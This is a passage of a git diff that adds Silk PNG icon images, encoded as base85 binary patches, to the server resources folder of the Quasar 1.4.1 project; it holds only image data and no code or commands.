mode 100755 index 0000000000000000000000000000000000000000..7542db1d1a57f9f3ccc6d5d4dc82ddada796e67f GIT binary patch literal 582 zcmV-M0=fN(P)8HN)#RH5YnYUGP-mK>R8bw z2t8C_N?y`%B@?pVvm%P1(=O${na{Vw7Aotm+uS~f8Ro~wbIxHo`d;S7O>X_I!*}m4(;rQL3lRx0{4$S^45y5Zuub!<^(wd zDg1Ydq7a)PBNSH(^bYo1I&!_cv8F)Tfk3iCfaGzKcdABUEYJ~V4lNs7(L31l-D~h- zlLeyC;Rle^b>Pb0!o4OezZxjWAc9)nJe_NP=QDRgIAC4B#i)@%!f@-iPyu79xm3 z&=Ei~gdfA((>G@?t|CClgk~>+;;$k`$HzXCdi?6@>wW;(eSTM7w8{L??AcXUU@Ta{ zLrZBBKD>>O2Im`9qM4R5P3BW3krlN(mI5Z z(KV^C5HyzvLrS5djW#mEchkd0<@IzkP&T zje~)eD;&7qVC!q^K`R)J4I}kERX%bq_9+7Zgt9nQ1hjexG(6abiLr9H+N>B-7 z2>SBph(duFLM%ZMg!96nVfPZi`0RE{To_%f(_e%DKo9^(nOQLYoR{*7@^cGNURr@4 zzkZ(Ce|2}YP~a51^_3ecKqY3A9#W~)94RvZ5Lhx&%iTlGqzqJ)REFGQ7YYk+-h&8H zSWpD2LHy$fOifSwLOD8d@zwpm007W@bKhnf=_J{@wR~IV`r=Zk3O;}Rf{Doq5z1{E zIsfv~>-Wn(Sk20NF7Mj0E;nzqrn&}V6|v_rc**3>7Z)bS{%hr>c-THN=6y>p_+sGG zVAk^%RuiWM004bvt5qlzG?JaJFPIi!hzCPM5F-#u+HVZ3^__nM0fhdEP)RB*?~^j!LKVQ>(O&A{Xr%)RXLn#U zs4LtZ6rCMFY5|B2$)yG$6aaIF@v&v5Fok60F% zus#CFcJ6hES`ie#HVml7ZGuze@}T&2;f04&J*T*OO?CC2=H@fq-FK#k-*hj(nI8VL zy#nTV1;Qr{K=2U=k{Xwn0F^HHba4!kxSX6IFexdyfl)4y zjcwx(70WPvf%DTEtyLTv8uiVL4;~j)Nl2EQA*FTjzyay0)86q28TfZ{OiN@lvbkg| zVRs7%u5tGc2@HVBGpa!65#c zy-tv{%7QoP`DYFuPGkCiCxvX(HWsOpaN*gR#GpYXhHKL|EB8l4*TSU_vTR+aX-(Oi?S;8XyR2It;Uw(aI)9^S|=&95eX@({k9USGy;sUSUzeJ^< zMds$`SXy48v$4bI@E9?)it=aq5A%!jd|dcIDK=`4J{pRP&HSggJxd`56RH!pk4D8J p8dUC|epvAzhprq*3?{^oguj5GN{z3E7kmH!002ovPDHLkV1kL#`6U1V literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_join.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_join.png new file mode 100755 index 0000000000000000000000000000000000000000..a128413d8892dede67a722b755a0e5a241e22cef GIT binary patch literal 626 zcmV-&0*(ENP)rYsPY01;xw|q+1XP62ZKNNf0i}lORw#-+^ z#eWjGI5)D~*%m(1>5Uva|KRl7dV8+T7A`G}x7k6Q#1cL#?^nclzafIHF=frdfxTM;5eU`G(t3ZL>h zq%#>uD8p~AzniHE4Br`SCb{0b_i(V?*A7x4Yp)<*$j^%sM0Q8xU9lJpTqqXT@nX^1 z5K1V0^Sv}x0%NoVtwF!n4+^nruOj~?pIo^7eBkL7YanOml9_B4qKQB-fL6CVNJ_L8 zqEZAEp`_BgUC2WzPE>s=#feRK2gTW?xy|fr^HMRZWL#n-5mC9Ik6SQQdyDvHfIC=dq@)GxgoaTf5IT z^qp*F%j#`evM)Fzfu}xfiC)zcg*(TYg5=lqDRUe#ScX*(E2x=9XYzD6%FONbQIbA#VsuBq0ij+PPf#`3M zpvPY0@wz6#pQ1M#cCJ4HtBQCgjp?eMD}Ow?B1lUn;`#{$MeS% z{6Rm$gJCR2mS9S5Qr^HNj0iI6M|{5JQ7pJHG!RSBu=Xz)&p=c#F*=4sGKu^2{X2Z< zASEEw`V6Q2&NEMPuTwY#5DA1Cf aOZ5%-nC^v5N+ApY0000%pKpR5(n-OJ3xTo| zzV{Az-rC_Vje#(D=jSF0=P$d$OcdrqWdZ50OISNyhHKXf!jg068_0ZrhDT>{L~4Gy zBdqY8Z{N|1SMT6qEsm9X5`57DGIJ6{tUiU*w*<03GFWKb!_-I5B@^$yqd8xVVYQKh zR0+dTu)vlxgG|$F-~JTf!pHvB;^}=nIGMw(LqWZ0Ajmc)rbZwghz$N6FuFDPw?M3V zxyd6>bK=mgT-5{T&WPHE+aleX_AmP13}~n2@i(LDRmJ8PMrCl_&@?^QbAJr{3Xe7{ zRYXL~lWa_vCNY#Ts)2%lP|*kDnyzJ7?dSAQ`{;tavxCB5aI&_5*@FmdS#$HE!Hso; z?9Gj1PKm*v6<|v1p?jjC$@D`cYYE)_AVDgN3~tc{;W|CxdRiyDU-Jm$-Iy+k=wIpu zaqU^Lc$`4uXdceI71qtpa9aZ_T0~1>NOA<)R1XMW9DzMQjIr$@2E+2ogl@2IS%W^B gtbN=AP4XIk0RxY;jV+3>Hvj+t07*qoM6N<$f-d$A%>V!Z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_redo.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_redo.png new file mode 100755 index 0000000000000000000000000000000000000000..fdc394c7c59b83cc2b876abc41064c75eb365877 GIT binary patch literal 625 zcmV-%0*?KOP)FZj9*=u@@4&g|7erBn|Ebu&JU%m$={t4j zMA?=F80s{QH%n(hsfF%mohhehBz1^t6ID+NGJzBtYm#sZbA{ZEu?vrT)(Lb!?K~){ zH(Aw`uB}Xq9=*Zczi=_)|A3QuQ}znM~D7~ zjUb95oVKv23l4|e@$lZ*dJFeEA1zqO!B_8JKbXnR;M>>lDE=(2>_dXN zph(~`!iy8(2_#ButL^3%VaH2WCpD^U)OZxp@C)2#hU)y+@T%ZNzJigNk%37 zz-WYJwT%teVfiEI+B*@v4ey@58(ld4VY_&5-ox`e@AKg+0U-I`y79bmuw_~y6+4rZ zBG5EdFDS+@M0OSE`>d7SUDOzKZ&h*4eB1iX7tOd9RiYtW2mQ--bUahxr1`i{RG@dM zL#}_X=DDO1{;UI$pFu=dLYT_=5d8WC-sLfjr7UO-HKMAwa=!>)kEhvuwre zuW3yF@ZxFCkI*+ad|5kOX%5zu8IQjhan)UqgSrFGA_0nQFn@Z08DSEUToCSz4Z1ls z&fDbq$T&7|6iq$_uDI$@q1_kQ@dfqk*0>{SDL6V)94@)ete)j++*>bIc9sj}Y;R1o z#OpH+Yt-^4wfv{nern^iVag8^;TV zXR51ml7exmZp!AUq9bV*)kYA(__bjw$qI#sQ}yyS-TNH^W_e`nhy`lY%2LhQn+P;S zJxy6VTMa0yU#JDtZdPSz-C!CqJuqr!aLme}xVd48>%)^5MgxsaT@stVJvL)`0?>r4 zl}Xuq67mlumu${1*^*PSJ-=>WY15&~=EGGzCmMTCH1(ZqnRu#w%IU7@XM3lg@0)XJ z%JQr8S6y4Q_QulnH&<-DxoXp`)vRl3Sb!m*SrX(I%)rFN3+uL%@x1Rm~f2Q6i zwaGeFeD#%QGena$=6rmbwCgsTpv=wR-~U$GT~keYcRStwO@3Hn%c-0>ZB9Yyj)_e3 z1x@XMiBs6rb<;n;R7icp(df87a=mMg#v;otJaYejF}ls< VHO|SYRRg+%!PC{xWt~$(69B%z(CGjG literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_right.png new file mode 100755 index 0000000000000000000000000000000000000000..bc153c874126c81b37f5a54370638c5f43a3e1d6 GIT binary patch literal 332 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_undo.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_undo.png new file mode 100755 index 0000000000000000000000000000000000000000..6972c5e5946080ca1dec4de09d9430d3edf6c555 GIT binary patch literal 631 zcmV--0*L*IP)`NY~_X_4^RN+9OmbDu*=G*+_}E z3jR}&gbG0=R0#?Z-=09KI|YP8=#E5@+>uO|=1VUCOole%Li*0J2^Gy8+;b?&km6gg zf;aDGp1r#I_V|We$e$~WifFF9R7MCMwsmwsME9<<@yx?a+v)qKuKbNe>k1{IrVt}k zbbSs~bXr8Se}V_b4opa0GhLA`RHceaP=N}IElbSa8@d(ij1Q|4CvOirm96w#wHUuW*nL5>vZR zlg{G&%mT~|kL3ei%GW0*UOHUMs5XI$4uxe-L?I@SAefq*207}Iqtjm#e5*fP53AiC z)C|RQfwzxx<#_WfANRGZx{+tFDl8~Q?;~Ve=lM^*8UTTnVL?HTDz8uta0D@d28E9S z_)i8aLz^UE6PPKymi;2GJ`34{eIia-CtfAt0H61rk0 SPTNud0000*uQQn7Ao3L@HcVN_JG5Oz^iELqtfic#8+p{{13 zB!rfdf2k)SDwJS|D58iKOKXwBFIFGcC-AUOfLS9bv(H0S%=6T$O9SC=2fMD%gnJC9? z!Kh(gvt=Cx?1R~s3W9x8mCUENrT{!2(+x==*z->Z(e<;6aicYvPErVhHT_;HRWCrO zX>Ant#Yi-31=*-(@?ZTrNtR{}?1a^q3-ss0eBi>@Qc)edAUbFFjhvR`kHwNKL}lr> zmx4@#VC|1-HQcog=-UoF%!Jv#1q7>sa}xhtBKb#7NeGlV;rH6OFmr?PNPiwMRD=jG zfZ3f5vy;Gqe4sZI=uW3=7L4|E%(QHx)3_-#2chPTcz1*X$TTNe2v#yoR){KnCQhcg z(YBd3W>A0&#{D#mmPqQSlM)|3A^ATXx8dz!8(tOJd5pyIa?we$G^;NU;SSgD5WO`G z1giu)7o5cCBA8D%u7}Z)i7#g)f3PVT=*fasvkLEz*?bEIkm>TthSk)+f{EIdAk!W) z?VGx_0qAlea5(`l58AzP0|-{W*Cx;y=hMVxgG_4#JISQPBo@rv^)uedmP%+LWdH!1u~sTvRX(MC)0C( q-3yOhdA{Gl2X{NXPYNCLME(Md?VydvM~!0u0000?P)rx$R<IWI`!e`47o+X|cM zhswMI)6H-!+|Ry*GtmT2KZBZTgf*vuh@Iv~E3-o`X2T^+DyW5TGfmLUU@4QG+c^0c z#zg&+`J#c@0((YV&ur`*Iawk7JMET#>EkfEJtz9cD4oNF6e!0Aw?I&|=qKwHAy9XoQ zA^YBJr@&gw)O7(`yrYQGx{Yirh2eMScnk9(q^&}_PQ*$`FTOgh0*()5P;Djfw78dp Z{0&Uoz&aZx@__&V002ovPDHLkV1iM?Q(XW6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/attach.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/attach.png new file mode 100755 index 0000000000000000000000000000000000000000..96c0bca1baf5d8062518184ba3e546eff5d3e710 GIT binary patch literal 338 zcmV-Y0j>UtP)Z~ z&ww9d5n3ue=jD`B-8M~zSQRW*oc(gr^{z(^Tl@a!)nO=DBt7%~#El&n>w^9>v@j=Ioy6!UX z9M0sMk@W$KJYKoV!^2^QdjI>@<+Y5(YqG8pdqKEOC*{8|f8r k-s7ojo}&N}kwu~c07O#yB^mliPXGV_07*qoM6N<$f>2(c{Qv*} literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_add.png new file mode 100755 index 0000000000000000000000000000000000000000..9c4be9be2039fd3b8d9095fd65a94cfa94716d09 GIT binary patch literal 853 zcmV-b1FHOqP);s~_x>mm z0pQ)E-O{|Rir?=|;*4Oe!&-;44r3gf)-Iu~;|c?9A1D^Up9`F|I42nWf1;W7*36nQ zf;E<>;mrl})wIO~mSnh(rWZa#2NtdEEaCGAoUuGEYF=CvMF*C~(sQg&{KX2n%}a}8 zOciIa_PHI{);|Uxur%sZTk(iBku+YSk$2)hv%D-q|J4zkv8~S}=sv#n$c;b8Tl>=) z-YmU{U%3OXd?U497niTyWAILy_At!M7x2Apj>MrbEUAGs! z2*LgDY3~W0-&vFXRK&wM!Rq38<&LrY0BYvaiV-PIt`q?gL7d=KY=+X85uHPH9zBu9 z7RL}2PHTd~U4qGM(<>iJyKg2kEiRMk2-UR2{gu0rAcG5XIGqJs1my@XYarq;!Wm6| z;5%{y*&m2<7C?yz`F2(1ES-^c+p9yX-baE5husHL>x|gN$EFoidu&lgFg_;qBqAn^eBg zmrfDE=lozB5#`f+?N@-W=9l=-*J{u77@tgMX{kLa7Z#4ze?Tq%=1F}hk fKwICJqlf+jPqmTX#t3U(00000NkvXXu0mjfGA@$z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_1.png new file mode 100755 index 0000000000000000000000000000000000000000..658c7117bb8c5f7f6127b82725880898c3d7fbb1 GIT binary patch literal 733 zcmV<30wVp1P)5#ZOj$V zV$6R8et`Hsp^Y06t?}x?-BN{Jo+A{GLpF=}{yzmtYh)C=wic&;1MX^#S<^tIK8mw$ z9j5mS;s?n^1>U{8t&EN(863h(*qFLQ=;hn-R;7@>ex(0vvZCi*>q5p75xCt@M#zpM z*Z|q?@X7EteIjT$hYlRP@ApxiZy$PlmbH;D0hOKL_{*WZ;MR^|Dic+L1tK5@y>d4> zXDufE6I)H=Wxil#C-axq0i?$W%}gE53ocb3M9Ce~cq*pr4r68}P%}Rp!|ZI1=W3eKQ{(8&6eg2G=4KE}@YE!+_s=wG z)yj?Wi=|CWjtmfUw}tvT?>o~yi1Cr^9Fogm)I5&s5bN!p#FzaA_^&C@GMJ`fX;)}= z5K#fB0E~v<&l+~pTpQ_Hbc_JlkpsFSk>9$Ch@B!-R)IDix^hJgZHdi`3)**;A=W+} zt0nUFG38I&2bR2ge6xJwHJ&|-TDl&zbzpIUHhXn+ZJGP%0^v7ruA^itSBHu$h4w+w z&L~mIqJj#PGAqhVOEX1tY{nVK(RuHFv=}WVrUQp_xcB^j9L~Ad&|0%#r=L{ogPY3f z4!uHZg;a9h6+#J0a`(`5{}%0Mo*4@oH;YU-0;QA1Qb~kT^YO3Swpc8|wFF=bv<62? zY$@0n33K%OS8VAZ?>YLSi`>qj&9`d&Y*T9wm4vIN9j zkP|P4lYpD0Bjgn4X$;UBv_dZ5O~RdzicMmQDXe%u##|`bv~(aghASFAo&;Q6a|ogD zsQtBmS$G5$4I-kGsOcaoK83aupcO`1Iwk`5hZekp0}sgXR2hFB(%HO16fJ6JWl^G_ z5*Z#x#>1$11U(Z)8yZW5@V|X5iHUle#xE=#VqkOtzh{T*b9=LU>LXg&=(!nmB90QX zxIJ$Cy-!2fx_m+W&lac~ijkew;hG*o3kQS)N`f;V)7&wxjdrA5BLJqiLS`2yQ;)!F zMsWGEk;+2mEGwX)cx!4v<1QcCI3WFN@qTL~^HJkK`pdQ(nZZsha~hGg4x~|$8X(m^ znUU}Fw4NiatLr*KZ{zAnwP$R&Jfo*|RL{EdFGe#L4Mh%X#Cm!=lt?e lJ9R~yy?yVmASqoe`3;e&U@M_8ssaE2002ovPDHLkV1gayPXYh{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_3.png new file mode 100755 index 0000000000000000000000000000000000000000..396e4b3a2583924c56773430b5f2a5de992bb696 GIT binary patch literal 754 zcmVD`bm3d zGTu>FRh`dR#u#|GJA}tuhQSMPp)+>o{OWh73pXD}T${kJM?CzXpH!75YRGK?HI?Gz zo8Fw@!L~jYmlqicA7i=FXk;H0N!9s3d(aspCafT z#S#=yNti3b k7t7WKJKJs|Y|BUf0tz8#4)XPX9{>OV07*qoM6N<$fPbrirq-~0P{ulMSj*I8(*O_yaV*n;RGqTmwM3Zg;V@I^LajC_gJLk|%viB%8v zXb`=WSiKo*!O$dgOXnuF?pAZ*qAgv&dGGaluiN$B-}ley!894P1BY{7&gcABA_Bm( z?~coX7h0LTvWPQ+wGL|?&N_^7JbvF6`Uihvy8k7`2JzP%XD!YNM*kaVR;@LwYK&lw z z6|B8&1-9?(`Rg>qd^(dwc0|)e>Qg*bJIY-(QKo*L!x`K6zku-%b{)C!d!}zH9q?%4 zd;F$7MCu-+Gcv-Nb5}TjDd@X6xc|tl02Q9v78mi_#EItw-ukiU(4npq2e)+{gh-U| z>Q@Y$^uF2Gk$y)cf^&k^rA*VFg{uInGS)aJiT14`AR>qpBFQHpu^rKQL>JJxG`6&W zpm16fF8@imnC)qKMFxD63wm7;40;{Cwf@#_Bn)t29;dTlOQ0N8ckU$WZ^9W(VfqX5 z)7fLh7y?itLSaC)I?M6sgS*?jdtOAs>xj9DxDsMlKzRh;O%wd^3zem^SWo7F{-=k{ z`)chH^Ixi32cO3udSkbW)#FSau_bV2GL!QxU&``8YA>;tPFB*x{C0B0=4UP*Uf)8p zTW+X$&4@0{A_@?PLV;NR8lB|+)LyDDkD)&6Ch^A*&D*zlqU5l@aV0|a^Hs^6DCOgf zK`&h++R%*77O8G*f#+WP?+4y)!gH#59grJph&v(W)pbxf^C7v3iCGky4lN>GQid~*jzV&2Y;Nxe8 b&C!1V<3gG|1vXA400000NkvXXu0mjfBS@ei literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_1.png new file mode 100755 index 0000000000000000000000000000000000000000..97a22b72eea2e8d65655993c68a9e03f6a40aa9e GIT binary patch literal 753 zcmVPWf;dl@9%f?!cp_eSg3A+l4!Fq^t+ti}&IAe0X@D=QWZj zM%;Z?uCWO_G=wDZ9(j)>jD55+NwV|jvC>tN3^K{^fV>&V*w6!et5~&pa*WZwJy*mn$*RS=E{iBzuX~I|52pZlZsC^BkvS{J~dNA2rd+&Bn zDPttzeo9qHVOn0H7x@0?K2+P{2W3YuKv0gI{t`DZ{% z^)uSl+#vB}3L>aG4!cswJw`5%TN)=W%p(lmIqdQjHn;eWkwjs@obZk>!UG>wB^pj6 zJBPQA@h%5(0Th8rU=r2%$dMnrMsDoxS0p)Oii?!LYWDh=q4NEw(&6(bk$r@sRpbjO zUIP;n<+9A(?2qj-J%=u`3F{W-TmM-l$V z6zWcE#Z*)dyL<*2KpukuZ7vZZD=nXBc*ijUh^IQs>R!T_1d1YTE{iGKO;BD#`7_Tp z-nnR6O6#}%g{8r#E4*kAYY&kBcxtMq4O+!H+m&<9B%$t@BKNE>6je&Y}T$>)>rA=-mG16ocaoM?$_R#KKptL1a;2QYaEZL?ZqH!+`{1Z+cmQ zQ1}3XixLgQQmBz(W@=0D%tV*%@ux?(vz_nL)r+<|qt*=^_D2k+IGc>M2?jCYw+~gHPWej16&S4+k!e$e1 z8c9@6m=~ktaJufDrrfG+$c_;0J)+AXR6rg~4wG9-^p5hyBV-q^eLX8w@MpP7yr zI9b1TYcYNFC1gjDpGL8Q!VH)cpWS8T^zmRH(%bc+_AeM>^BXFW=c(D>`upR9L6DHD zC{{rhL(1sa$1_)@d!GESEwpUYlqoDZ*YYIB z@KEmIZ1sp^{p%0ukJJJYwH*M!esx7LKIulW$P&a@Bxzp10@XKE-7~GSi1H( z@@-F$4UO~wSO2qv5d5>I>G8t&$-Ru98~DgOHgvwPo%gSox^JHNWdP)CrU4o&u6xvM} zE>!43A_c(|D^&=#^_8j(DoK2_jE_hv6Jy4XCZqY^$FGYRnNZ?^!{r{%_q&I4&NY&l zv&~qvd5Z(RR~bC;k(pzXlvwbd5QMWYK{tDPH|x#` z?|dmjqV)3WHS2M)r?Ko39dCYxjXl=-S;5x{1m~G9T9#F%v9YJM{3q7c-eIY3^LBNH zsp1UYzqSJ3^XKq5i_=M(Yo4+?HAJGel}(jrSW=PV^0hI7^F0d+ocpG&d*ttlp36fy z)|dZAvTi$xMeoy`=;zAyQHKA@_1x<1>@H=DB<#gi87XQ|P!t4TTB& zq=+B<$dU8W&pVoi_DKms5Z)Fi>b5_6U?dTrts7H$<8lckp&$}9A3*skWS<~gz)lX~ zi;ob7U@h^p`^5Rj9Yzwx<7P{+^hQmeRwkG4L~)J~KOxvW_#()GNn(;!1ZOD>9wk3G za)LCw%-kXsj+px3Ihk6stsz>m6~*JoO`}jm{yCTkmw!m^)G;4Fqr2sM?Vs1g>W`Hr z&AJ!&`uf7tn;;?0pfCf9F+`02dMs~eXq$uoH-(y=nlhP+ep|>Q11MlHAdfNC6e;g@aPD2@LIrTdYx{lty>00000 LNkvXXu0mjfmic>9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_1.png new file mode 100755 index 0000000000000000000000000000000000000000..028a54626a0aac09911d57f4fb475098f5a76361 GIT binary patch literal 714 zcmV;*0yX`KP)fArj&{$f(hg~Pe`ob!G6yckK6Kt94NpER>OV46q( zwTmK1MDR|u>fiw2+jr1@{ldr?4i=8Y^YdUCI46;brn5x|u-6D?{1reDs0=nX;Qa7# z{-z|i5};F>PJvxtr+|jr4WpeM7@ADLx?BL`G4|P6su+9mLZTNX2qk_wz?^5yOziHWLHFBXekkbc}G;BKUEEtks` w1RezffuwAYL?TI_&v!4KPQSq&*j~i^1*0~MIoPHs^#A|>07*qoM6N<$f=#+TMF0Q* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_2.png new file mode 100755 index 0000000000000000000000000000000000000000..e487c3a19e6de398863e819239a594bf033c3547 GIT binary patch literal 734 zcmV<40wMj0P)lhS)MHDPD zN^nu$NDZ3R#lmf9$bw~4(f#`U_MX!ux3B{*@A=OAJkR%@=RJa980fCp+X>@(D2jzf z0h*yh)3v?Oq3S9wxGv$ri$}=bc`tN17W6DtQK1`uz>KKs`d}@Mb?m_ z5l~a%)+B`G%d}UZYJ0Vg(qBL!0TG8Fnye(EVnhxhU+6ij>+NHIku3s^xm+&ZvfXaS?(Qx(lHG8@j>qE@ zrBW%HPN#n`KMo354zw?o%jF6YC#R>Uv)%JlDwU1JVkhV3=I+rOxY*124Ljn86uv6q Qr~m)}07*qoM6N<$g31I`ng9R* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_3.png new file mode 100755 index 0000000000000000000000000000000000000000..1d72d47247ceaddb46f918d53ec4444d633912f6 GIT binary patch literal 738 zcmV<80v-K{P)Y)`XtzyIql2{sy6=Hu9+tjql+xOzk)<~?R3&ZZt%=gXAx2x3abu`xKgN6FU ztvTdqR_-fsPsm+$v5g2F{&wVy{xABFA=M z>Tg$mz@w??JKYAiqlT`oE)2OXoN={bDZS1`^p*q*kAjg;*-d@vV*wYO2F~{MptG|R zZl#Q+58tqoDd?Z$cO%UhgO)<#mU{;p6#;L>jklv)NFsR-vjYHa0e}wY9}S8QZ(dwW|Fum-# zX2Z$8|*3m`ciVNwH*EI!K4;uvAKH6fHzx?V&@^We*)X?7dsir9(vp z8s0qC66hg_FvDdP+YZ*QQXq*asiJ^PAt__udR03JSKMNpvg7nRd;*rSO>RS?^_43zGp9!-$Vr8Z;-c)wwgHkS+YjrxEH>PP4=o*Ja%j@-qQ7nuXR|G+z`F#G__zp#^)oN!YNg~y1 z^~|0zhm_4`@5r+3Xt&!}L!nR@MFO-?D2!7|UpJf0T_|9HeV`8KcGd}Kc-Emip&y|t z_#%p8-7t&=E*g!lG#ZU>nBYAEj>EBt4o4jhM;RJ-I-N_<7<3u_xS}Xbk7%04w(w;0 zJ9vZz;{qIPf*|w*bT@RBO#o`l2JF2T=VSmKyFa;k3+QnBw+YIugUjVAvW{-In@tq= zcswQ8$Dl7zB!&WY@O=0src$Xc9HR*Gv(tqJp|8MRP(`o?-T@Vz_k&BxWbzRI>pqdd zgAD|epI0;lNkiCmk4uxq&x&fK#JHU*5m%y`?~DO@!TL22^LGT+1A&?K|( zYdz4JEapD|xm?ahV&zG!d?u55n@*>{uB@z}*A?8Dnwo;o=L7kmHrYQ>EDQ$2$Ii~q zd`nA9Ua3^3nbPLvgs&1Mmc#j=S+0$#6I6p2J&x7#la3=BZ8*W3I0`k+#& zE-|o7CVN*zRSr&1Ph)(1yfhw<7e}MfieNCf-{bKJoKEKsN;uNp-Mv$%)0L~$>fO!F z&E;~ryo4Z-NF+mrIg-ib2Lgbq33;9eRjUbwLa^CvA_9TqI8nP*jyvY+^&9$gxY%}T z{efPLhK7cw0$_M}cqAMSm-_wwVz=8Za5xKu?O?- zc^F2;5E%~Rr1;RY0$^}(P)Go{TrOcC5P-#Esb({iSk-Li8qMj?;hYiS{9~}CObKSiQ5Oj@%7N~b%kV2yzWN_>s$J96xdd!ErX7~R;bKQW|LpL2;YAlw2H{OX6m%2x z9k^~Jj3Ckr9VnQr!KB%;i_&6Q-*(XV^lcB9Pu|&GNonSO7$7c6eYa1wJ=xR_(A>>1`N5p7 zsCYibaSEm3C|Z4d`qoJIKLgO*40(CD#Kb~u;S1PEWOj9F847I;D8ro>?l*53aI{A1 zw@@0=mf-t&P#)*lE?-*hbMX_6_(>;&HVm-K$D;kYD4FDlj`cs$<#J_l7sY6*DV#2{0r?SCzu$9X+Hvz4A#KOj%eOjUg_)^kmHOR* 